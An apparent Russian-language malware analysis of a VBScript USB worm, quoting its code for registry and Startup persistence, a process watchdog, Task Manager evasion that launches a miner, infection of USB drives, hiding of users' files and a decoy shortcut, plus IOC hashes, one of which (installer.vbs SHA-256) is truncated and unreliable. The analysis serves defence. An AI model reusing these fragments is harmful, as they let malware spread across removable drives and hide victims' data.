Введение

В этой статье — разбор примитивного, но показательного USB-червя, полностью реализованного на VBScript. Несмотря на простоту языка, код демонстрирует полный набор классических техник: закрепление в системе, маскировку, контроль процессов и автоматическое заражение флешек.

Общая идея

Этот набор скриптов реализует классическую схему:

  1. Закрепиться в системе

  2. Следить за собственными процессами

  3. Запускать payload только при отсутствии анализа

  4. Отслеживать подключение USB

  5. Копировать себя на флешку

  6. Скрывать файлы пользователя

  7. Подсовывать .lnk для дальнейшего запуска

Никаких эксплойтов — только штатные возможности Windows.

Инициализация: подавление ошибок и окружение

Практически каждый файл начинается одинаково:

On Error Resume Next
Set ws = WScript.CreateObject("WScript.Shell")
Set objws = CreateObject("Scripting.FileSystemObject")
Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2")

Здесь сразу три важных момента:

  • On Error Resume Nextигнорирование любых ошибок, чтобы скрипт не падал

  • WScript.Shell — работа с реестром, процессами, ярлыками

  • FileSystemObject — доступ к файлам и каталогам

  • WinMgmts — WMI, основной источник информации о системе

Это стандартный минимальный набор для VBS-вредоноса.

Определение текущего расположения

Скрипт всегда определяет, откуда он запущен:

strPath = WScript.ScriptFullName
Set objFile = objws.GetFile(strPath)
strFolder = objws.GetParentFolderName(objFile)
strPath = strFolder & "\"

Зачем это нужно:

  • скрипт не зависит от фиксированного пути

  • все дочерние файлы (installer.vbs, WindowsServices.exe) ищутся рядом

  • удобно для USB-распространения

Закрепление в автозагрузке

Работа с StartupApproved

Windows хранит состояние автозапуска не только в папке Startup, но и в реестре:

nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk"
key = ws.RegRead(nkey)

If (Not IsEmpty(key)) Then
    ws.RegWrite nkey, 2, "REG_BINARY"
End If

Что происходит:

  • если пользователь отключил автозапуск через Диспетчер задач

  • Windows помечает ярлык как disabled

  • скрипт насильно возвращает значение 02 — «разрешено»

Это простой, но эффективный persistence.

Создание ярлыка в Startup

startupPath = ws.SpecialFolders("startup")

If Not objws.FileExists(startupPath & "\helper.lnk") Then
    Set link = ws.CreateShortcut(startupPath & "\helper.lnk")
    link.TargetPath = Chr(34) & strPath & "helper.vbs" & Chr(34)
    link.WorkingDirectory = strPath
    link.Save
End If

Здесь всё классически:

  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

  • .lnk, а не прямой запуск

  • рабочая директория указывает на папку с другими .vbs

Контроль процессов и самовосстановление

Скрипт постоянно опрашивает WMI:

Set colProcess = objWinMgmt.ExecQuery(
  "Select * From Win32_Process where name = 'wscript.exe'"
)

Далее вызывается функция procheck:

call procheck(colProcess, "installer.vbs")

Разберём её:

sub procheck(checkme, procname)
    For Each objProcess In checkme
        vaprocess = objProcess.CommandLine
        If InStr(vaprocess, procname) Then
            Exit Sub
        End If
    Next
    ws.Run Chr(34) & strPath & procname & Chr(34)
end sub

Логика простая, но важная:

  • перебираются все wscript.exe

  • анализируется CommandLine

  • если нужный .vbs уже запущен — ничего не делаем

  • если нет — перезапускаем

Это примитивный watchdog.

Анти-анализ: реакция на Task Manager

Set tskProcess = objWinMgmt.ExecQuery(
  "Select * From Win32_Process where name Like '%Taskmgr.exe%'"
)

Далее:

If colProcess.Count = 0 And tskProcess.Count = 0 Then
    ws.Run miner, 0
ElseIf colProcess.Count > 0 And tskProcess.Count > 0 Then
    For Each objProcess In colProcess
        ws.Run "taskkill /PID " & objProcess.ProcessId, 0
    Next
End If

Смысл:

  • нет Task Manager → можно запускать payload

  • Task Manager открыт → убиваем процессы, чтобы скрыть активность

Никакой эвристики — только проверка имени процесса.

Отслеживание USB через WMI Events

Ключевой момент — подписка на события:

Set colEvents = objWMIService.ExecNotificationQuery(
 "SELECT * FROM __InstanceOperationEvent WITHIN 1 
  WHERE TargetInstance ISA 'Win32_LogicalDisk'"
)

Скрипт не опрашивает диски вручную — он ждёт события.

Set objEvent = colEvents.NextEvent

Проверка типа носителя:

If objEvent.TargetInstance.DriveType = 2 Then

2 = removable (USB).

Подготовка флешки

Создаётся скрытая папка:

DestFolder = device & "\WindowsServices"
objws.CreateFolder DestFolder
objDestFolder.Attributes = objDestFolder.Attributes + 39

39 = Hidden + System + ReadOnly.

Копирование файлов червя

Call moveandhide("\helper.vbs")
Call moveandhide("\installer.vbs")
Call moveandhide("\movemenoreg.vbs")
Call moveandhide("\WindowsServices.exe")

Функция:

sub moveandhide(name)
    If Not objws.FileExists(DestFolder & name) Then
        objws.CopyFile strFolder & name, DestFolder & "\"
        Set objmove = objws.GetFile(DestFolder & name)
        objmove.Attributes = objmove.Attributes + 39
    End If
end sub

Таким образом флешка заражается полным комплектом.

Сокрытие файлов пользователя

Создаётся папка _:

DummyFolder = device & "\_"
objws.CreateFolder DummyFolder
objDestFolder.Attributes = objDestFolder.Attributes + 2 + 4

Все реальные файлы переносятся туда:

objws.MoveFile path & file.Name, DummyFolder & "\"
objws.MoveFolder home, DummyFolder & "\"

Для пользователя флешка выглядит пустой.

Социальная инженерия через .lnk

Set link = ws.CreateShortcut(device & "\" & devicename & ".lnk")
link.IconLocation = "%windir%\system32\SHELL32.dll, 7"
link.TargetPath = "%COMSPEC%"
link.Arguments = "/C .\WindowsServices\movemenoreg.vbs"
link.WindowStyle = 7
link.Save

Пользователь кликает «флешку» → запускается скрипт → заражение продолжается.

Вывод

VBScript давно считается устаревшим языком: он не развивается, официально вытесняется PowerShell и отключается в современных корпоративных средах. Тем не менее, данный пример наглядно показывает, почему VBS до сих пор используется в реальных вредоносных кампаниях.

Причины простые и прагматичные:

  • VBScript предустановлен практически во всех версиях Windows

  • не требует компиляции и сторонних библиотек

  • имеет полный доступ к WMI, реестру, файловой системе и COM

  • легко маскируется под «служебные» или легаси-скрипты

  • часто игнорируется защитными средствами как «шум»

Даже без эксплойтов, драйверов и сложной обфускации VBS позволяет реализовать:

  • устойчивое закрепление в системе

  • самовосстановление

  • контроль пользовательских действий

  • автоматическое распространение через USB-носители

Этот кейс — хороший пример того, что устаревший стек ≠ неопасный стек. Пока Windows продолжает доверять WSH, подобные скрипты будут оставаться удобным инструментом для low-cost и low-noise вредоносных операций.

Хеши файлов (IOC)

helper.vbs

MD5     : 309e4806ec5c609a33fe7f739bad2a7b
SHA-1   : 6ad97c437d533bcb8643780317d74c0549ee6b83
SHA-256 : 68afc08e23b2099bd5f67c3a5473e8fd9c1f564ee8904ec9c3206ed685d7e67f

installer.vbs

MD5     : 9ae0e85c4c4fd4f6167f45af65cc3879
SHA-1   : 65d67ea8314eea448a80ee9669a078e73453ff13
SHA-256 : 54787c33bddc0dbcfc81ff200c6234bbbfab84741531ca7a5c77009a757469

Комментарии (0)